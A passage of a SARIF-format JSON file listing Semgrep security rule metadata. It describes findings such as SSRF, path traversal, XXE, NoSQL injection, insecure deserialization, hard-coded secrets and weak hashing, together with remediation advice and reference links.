[https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","id":"javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","name":"javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SonarQube Docs API Key detected"},"help":{"markdown":"SonarQube Docs API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SonarQube Docs API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","id":"generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","name":"generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","id":"python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","name":"python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query."},"help":{"markdown":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli)\n - [https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf)\n","text":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query."},"helpUri":"https://semgrep.dev/r/javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","id":"javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","name":"javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","id":"java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","name":"java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information."},"help":{"markdown":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server)\n - [https://nodejs.org/api/http.html#http_class_http_agent](https://nodejs.org/api/http.html#http_class_http_agent)\n - [https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY](https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY)\n","text":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","id":"problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","name":"problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"help":{"markdown":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","id":"swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","name":"swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","id":"ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","name":"ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible."},"help":{"markdown":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.xml.should-resolve-xxe.swift-xxe-prevention)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible."},"helpUri":"https://semgrep.dev/r/swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","id":"swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","name":"swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.xml.should-resolve-xxe.swift-xxe-prevention"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen."},"help":{"markdown":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://blog.elcomsoft.com/2020/08/extracting-and-decrypting-ios-keychain-physical-logical-and-cloud-options-explored/](https://blog.elcomsoft.com/2020/08/extracting-and-decrypting-ios-keychain-physical-logical-and-cloud-options-explored/)\n","text":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","id":"swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","name":"swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`."},"help":{"markdown":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","id":"terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","name":"terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC721 onERC721Received() reentrancy"},"help":{"markdown":"ERC721 onERC721Received() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc721-reentrancy.erc721-reentrancy)\n - [https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a](https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a)\n - [https://etherscan.io/address/0x14e0a1f310e2b7e321c91f58847e98b8c802f6ef](https://etherscan.io/address/0x14e0a1f310e2b7e321c91f58847e98b8c802f6ef)\n","text":"ERC721 onERC721Received() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc721-reentrancy.erc721-reentrancy","id":"solidity.security.erc721-reentrancy.erc721-reentrancy","name":"solidity.security.erc721-reentrancy.erc721-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc721-reentrancy.erc721-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar."},"help":{"markdown":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host)\n - [https://nginx.org/en/docs/http/ngx_http_map_module.html](https://nginx.org/en/docs/http/ngx_http_map_module.html)\n","text":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","id":"generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","name":"generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","properties":{"precision":"very-high","tags":["CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."},"help":{"markdown":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","id":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","name":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other 